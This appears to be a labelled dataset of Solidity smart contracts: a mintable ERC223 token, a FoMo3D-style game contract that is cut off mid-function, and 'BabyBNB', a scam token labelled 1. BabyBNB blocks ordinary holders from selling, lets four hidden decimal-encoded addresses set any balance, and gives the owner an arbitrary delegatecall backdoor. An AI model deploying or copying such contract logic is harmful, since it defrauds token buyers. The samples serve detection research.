allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint indexed value, bytes data);
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract ERC223Token is ERC223Basic, BasicToken, ERC223Receiver {
using SafeMath for uint;
using AddressUtils for address;
function tokenFallback(address, uint, bytes) public {
revert();
}
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (_to.isContract()) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC223MintableToken is MintableToken, ERC223Token {
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
bytes memory empty;
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
if (_to.isContract()) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(address(this), _amount, empty);
}
emit Mint(_to, _amount);
emit Transfer(msg.sender, _to, _amount, empty);
return true;
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 3;
uint8 public constant TOKEN_DECIMALS_UINT8 = 3;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "GlobalExchangeToken";
string public constant TOKEN_SYMBOL = "GEXT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x63Eeb9D8BED8506981fB2c63C5129113b05BBA73;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223MintableToken
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0x63eeb9d8bed8506981fb2c63c5129113b05bba73),address(0x8c1614be40d6c05572008a9754f33b476eb9b9b8),address(0xadb73ced5704f331b96f0540f2ad75f72be46eb9),address(0xca4fa333e7ad50343e6edb3820540d6d5230df9f),address(0x9fb59e86e141bc0507d099f0189836e260667142)];
uint[5] memory amounts = [uint(1700000000000),uint(50000000000),uint(125000000000),uint(250000000000),uint(375000000000)];
uint64[5] memory freezes = [uint64(0),uint64(1580511602),uint64(1556661602),uint64(1580511602),uint64(1580511602)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 546 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyBNB {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,074 |
pragma solidity ^0.4.24;
contract PCKevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 PCPAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 PCPAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 PCPAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 PCPAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularKey is PCKevents {}
contract PlayCoinKey is modularKey {
using SafeMath for *;
using NameFilter for string;
using PCKKeysCalcLong for uint256;
PlayCoinGodInterface constant private PCGod = PlayCoinGodInterface(0x6f93Be8fD47EBb62F54ebd149B58658bf9BaCF4f);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x47D1c777f1853cac97E6b81226B1F5108FBD7B81);
string constant public name = "PlayCoin Key";
string constant public symbol = "PCK";
uint256 private rndExtra_ = 15 minutes;
uint256 private rndGap_ = 15 minutes;
uint256 constant private rndInit_ = 12 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 6 hours;
uint256 constant private rndMin_ = 10 minutes;
uint256 public rndReduceThreshold_ = 10e18;
bool public closed_ = false;
address private admin = msg.sender;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => PCKdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => PCKdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => PCKdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => PCKdatasets.TeamFee) public fees_;
mapping (uint256 => PCKdatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = PCKdatasets.TeamFee(30,6);
fees_[1] = PCKdatasets.TeamFee(43,0);
fees_[2] = PCKdatasets.TeamFee(56,10);
fees_[3] = PCKdatasets.TeamFee(43,8);
potSplit_[0] = PCKdatasets.PotSplit(15,10);
potSplit_[1] = PCKdatasets.PotSplit(25,0);
potSplit_[2] = PCKdatasets.PotSplit(20,20);
potSplit_[3] = PCKdatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isRoundActivated() {
require(round_[rID_].ended == false, "the round is finished");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
require(msg.sender == tx.origin, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
modifier onlyAdmins() {
require(msg.sender == admin, "onlyAdmins failed - msg.sender is not an admin");
_;
}
function kill () onlyAdmins() public {
require(round_[rID_].ended == true && closed_ == true, "the round is active or not close");
selfdestruct(admin);
}
function getRoundStatus() isActivated() public view returns(uint256, bool){
return (rID_, round_[rID_].ended);
}
function setThreshold(uint256 _threshold) onlyAdmins() public returns(uint256) {
rndReduceThreshold_ = _threshold;
return rndReduceThreshold_;
}
function setEnforce(bool _closed) onlyAdmins() public returns(bool, uint256, bool) {
closed_ = _closed;
if( !closed_ && round_[rID_].ended == true && activated_ == true ){
nextRound();
}
else if( closed_ && round_[rID_].ended == false && activated_ == true ){
round_[rID_].end = now - 1;
}
return (closed_, rID_, now > round_[rID_].end);
}
function()
isActivated()
isRoundActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isRoundActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isRoundActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isRoundActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isRoundActivated()
isHuman()
isWithinLimits(_eth)
public
{
PCKdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isRoundActivated()
isHuman()
isWithinLimits(_eth)
public
{
PCKdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isRoundActivated()
isHuman()
isWithinLimits(_eth)
public
{
PCKdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
PCKdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit PCKevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.PCPAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit PCKevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
